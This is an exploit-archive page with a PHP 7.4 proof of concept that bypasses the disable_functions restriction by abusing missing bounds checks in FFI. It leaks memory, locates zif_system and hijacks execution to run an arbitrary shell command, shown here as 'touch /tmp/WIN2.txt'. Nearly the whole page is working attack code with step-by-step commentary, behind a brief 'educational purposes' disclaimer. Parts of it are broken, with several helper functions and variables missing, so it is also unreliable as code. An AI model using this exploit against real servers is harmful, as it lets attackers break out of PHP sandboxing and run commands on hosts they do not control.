Exploits / Vulnerability Discovered : 2020-07-07 |
Type : webapps |
Platform : php
This exploit / vulnerability Php 7.4 ffi disable_functions bypass is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
<?php
/*
FFI Exploit - uses 3 potential BUGS.
PHP was contacted and said nothing in FFI is a security issue.
Able to call system($cmd) without using FFI::load() or FFI::cdefs()
* BUG #1 (maybe intended, but why have any size checks then?)
no bounds check for FFI::String() when type is ZEND_FFI_TYPE_POINTER
(https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4411)
* BUG #2 (maybe intended, but why have any checks then?)
no bounds check for FFI::memcpy when type is ZEND_FFI_TYPE_POINTER
(https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4286)
* BUG #3
Can walk back CDATA object to get a pointer to its internal reference pointer using FFI::addr()
call FFI::addr on a CDATA object to get its pointer (also a CDATA object), then call FFI::addr
on the resulting ptr to get a handle to it's ptr, which is the ptr_holder for the original CDATA
object
the easiest way is to create cdata object, write target RIP (zif_system's address) to it
and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it
Exploit steps:
1. Use read/write to leak zif_system pointer
a. walk cdata object to leak handlers pointer ( in .bss )
b. scan .bss for pointer to a known value ( *.rodata ptr), that we know usually sits
right below a pointer to the .data.relro segment
c. Increment and read the .data.relro pointer to get a relro section leak
d. Using the relro section leak, scan up memory looking for the 'system' string that is
inside the zif_system relro entry.
e. once found, increment and leak the zif_system pointer
2. Hijack RIP with complete argument control
a. create a function pointer CDATA object using FFI::new() [not callable as it is
technically not a propper ZEND_FFI_TYPE_FUNC since it wasnt made with FFI::cdef()
b. Overwrite the object'd data with zif_system pointer
c. Overwrite the objects zend_ffi_type_kind with ZEND_FFI_TYPE_FUNC so that it is
callable with our own arguments
3. Create proper argument object to pass to zif_system (zend_execute_data .. )
a. Build out the zend_execute_data object in a php string
b. right after the object is the argument object itself (zval) which we must also
build. To do so we build our PHP_STRING in another FFI buffer, leak the pointer
and place it into a fake zval STRING object.
c. finally we can call zif_system with a controlled argument
NOTE: does NOT exit cleanly nor give command output -- both may be possible
function pwn($cmd) {
function allocate($amt, $fill) {
// could do $persistent = TRUE to alloc on libc malloc heap instead
// but we already have a good read/write primitive
// and relying on libc leaks for gadgets is not very portable
// (custome compiled libc -> see pornhub php 0-day)
$buf = FFI::new("char [".$amt."]");
$bufPtr = FFI::addr($buf);
FFI::memset($bufPtr, $fill, $amt);
// not sure if i need to keep the CData reference alive
// or not - but just in case return it too for now
return array($bufPtr, $buf);
}
// uses leak to leak data from FFI ptr
function leak($ptr, $n, $hex) {
if ( $hex == 0 ) {
return FFI::string($ptr, $n);
} else {
return bin2hex(FFI::string($ptr, $n));
}
}
function ptrVal($ptr) {
$tmp = FFI::cast("uint64_t", $ptr);
return $tmp->cdata;
}
/* Read primative
writes target address overtop of CDATA object pointer,
then leaks directly from the CDATA object
*/
function Read($addr, $n = 8, $hex = 0) {
// Create vulnBuf which we walk back to do the overwrite
// (the size and contents dont really matter)
list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
// walk back to get ptr to ptr (heap)
$vulnBufPtrPtr = FFI::addr($vulnBufPtr);
/*// DEBUG
$vulnBufPtrVal = ptrVal($vulnBufPtr);
$vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal));
printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal));
printf("-------\n\n");
*/
// Overwrite the ptr
$packedAddr = pack("Q",$addr);
FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
// Leak the overwritten ptr
return leak($vulnBufPtr, $n, $hex);
}
/* Write primative
writes target address overtop of CDATA object pointer,
then writes directly to the CDATA object
*/
function Write($addr, $what, $n) {
// Create vulnBuf which we walk back to do the overwrite
// (the size and contents dont really matter)
list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
// walk back to get ptr to ptr (heap)
$vulnBufPtrPtr = FFI::addr($vulnBufPtr);
/*// DEBUG
$vulnBufPtrVal = ptrVal($vulnBufPtr);
$vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal));
printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal));
printf("-------\n\n");
*/
// Overwrite the ptr
$packedAddr = pack("Q",$addr);
FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
// Write to the overwritten ptr
FFI::memcpy($vulnBufPtr, $what, $n);
}
printf("\n[+] Starting exploit...\n");
// --------------------------- start of leak zif_system address
/* NOTE: typically we would leak a .text address and
walk backwards to find the ELF header. From there we can parse
the elf information to resolve zif_system - in our case the
base PHP binary image with the ELF head is on its own mapping
that does not border the .text segment. So we need a creative
way to get zif_system
*/
/* ---- First, we use our read to walk back to the our Zend_object,
// and get its zend_object_handlers* which will point to the
// php binary symbols zend_ffi_cdata_handlers in the .bss.
//
//_zend_ffi_cdata.ptr-holder - _zend_ffi_cdata.ptr.std.handlers == 6 QWORDS
//
// From there we search for a ptr to a known value (happens to be to the .rodata section)
// that just so happens to sit right below a ptr to the 'zend_version' relro entry.
// So we do some checks on that to confirm it is infact a valid ptr to the .data.relro.
//
// Finally we walk UP the relro entries looking for the 'system' (zif_system) entry.
// Find our 'known' value in the .rodata section -- in this case 'CORE'
// (backup can be 'STDIO)'
list($rodataLeak, $rodataLeakPtr) = walkSearch($handlersPtr, 0x400,"Core", $size=4);
if ( $rodataLeak == 0 ) {
// If we failed let's just try to find PHP's base and hope for the best
printf("Get rodata addr failed...trying for last ditch effort at PHP's ELF base\n");
// use .txt leak
$textLeak = unpack("Q", Read($handlersPtr+16))[1]; // zned_objects_destroy_object
printf(".textLeak = 0x%x\n", $textLeak);
$base = getBinaryBase($textLeak);
if ( $base == 0 ) {
die("Failed to get binary base\n");
}
printf("BinaryBase = 0x%x\n", $base);
// parse elf
if (!($elf = parseElf($base))) {
die("failed to parseElf\n");
}
if (!($basicFuncs = getBasicFuncs($base, $elf))) {
die("failed to get basic funcs\n");
}
if (!($zif_system = getSystem($basicFuncs))) {
die("Failed to get system\n");
}
// XXX HERE XXX
//die("Get rodata addr failed\n");
} else {
printf(".rodata leak ('CORE' ptr) = 0x%x->0x%x\n", $rodataLeakPtr, $rodataLeak);
// Right after the "Core" ptrptr is zend_version's relro entry - XXX this may not be static
// zend_version is in .data.rel.ro
$dataRelroPtr = $rodataLeakPtr + 8;
printf("PtrPtr to 'zend_verson' relro entry: 0x%x\n", $dataRelroPtr);
// Read the .data.relro potr
$dataRelroLeak = unpack("Q", Read($dataRelroPtr))[1];
if ( isPtr($dataRelroPtr, $dataRelroLeak) == 0 ) {
die("bad zend_version entry pointer\n");
}
printf("Ptr to 'zend_verson' relro entry: 0x%x\n", $dataRelroLeak);
// Confirm this is a ptrptr to zend_version
$r = unpack("Q", Read($dataRelroLeak))[1];
if ( isPtr($dataRelroLeak, $r) == 0 ) {
die("bad zend_version entry pointer\n");
}
/* Walk FORWARD the .data.rel.ro segment looking for the zif_system entry
- this is a LARGE section...
*/
list($systemStrPtr, $systemEntryPtr) = walkSearch($dataRelroLeak, 0x3000, "system", $size = 6, $up =1);
if ( $systemEntryPtr == 0 ) {
die("Failed to find zif_system relro entry\n");
}
printf("system relro entry = 0x%x\n", $systemEntryPtr);
$zif_systemPtr = $systemEntryPtr + 8;
$r = unpack("Q", Read($zif_systemPtr))[1];
if ( isPtr($zif_systemPtr, $r) == 0 ) {
die("bad zif_system pointer\n");
}
$zif_system = $r;
}
printf("[+] zif_system @ 0x%x\n", $zif_system);
// --------------------------- end of leak zif_system address
// --------------------------- start call zif_system
/* To call system in a controlled manner
the easiest way is to create cdata object, write target RIP (zif_system's address) to it
and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it
*/
$helper = FFI::new("char* (*)(const char *)");
//$helper = FFI::new("char* (*)(const char *, int )"); // XXX if we want return_val control
$helperPtr = FFI::addr($helper);
// Finally write zif_system to the value
Write($helperPtrVal, pack("Q", $zif_system), 8);
// --------------------------- end of leak zif_system address
// ----------------------- start of build zif_system argument
/*
zif_system takes 2 args -> zif_system(*zend_execute_data, return_val)
For now I don't bother with the return_val, although tehnically we could control
it and potentially exit cleanly
*/
// ----------- start of setup zend_execute_data object
//This.u2.num_args MUST == our number of args (1 or 2 apparantly..) [6 QWORD in execute_data]
$execute_data = str_shuffle(str_repeat("C", 5*8)); // 0x28 C's
$execute_data .= pack("L", 0); // this.u1.type
$execute_data .= pack("L", 1); // this.u2.num_args
$execute_data .= str_shuffle(str_repeat("A", 0x18)); // fill out rest of zend_execute obj
$execute_data .= str_shuffle(str_repeat("D", 8)); //padding
// ----------- end of setup zend_execute_data object
// ----------- start of setup argument object
/* the ARG (zval) object lays after the execute_data object
/*
// Let's get our target command setup in a controlled buffer
// TODO - use the dummy buf?
// the string itself is odd. it has 16 bytes prepended to it that idk what it is
// the whole argument after the zend_execute_data object looks like
*/
// ---------- end of setup argument object
// ----------------------- start of build zif_system argument
$res = $helper($execute_data);
//$return_val = 0x0; // // XXX if we want return_val control
//$res = $helper($execute_data, $return_val); // XXX if we want return_val control
// --------------------------- end of call zif_system
}
pwn("touch /tmp/WIN2.txt");
?>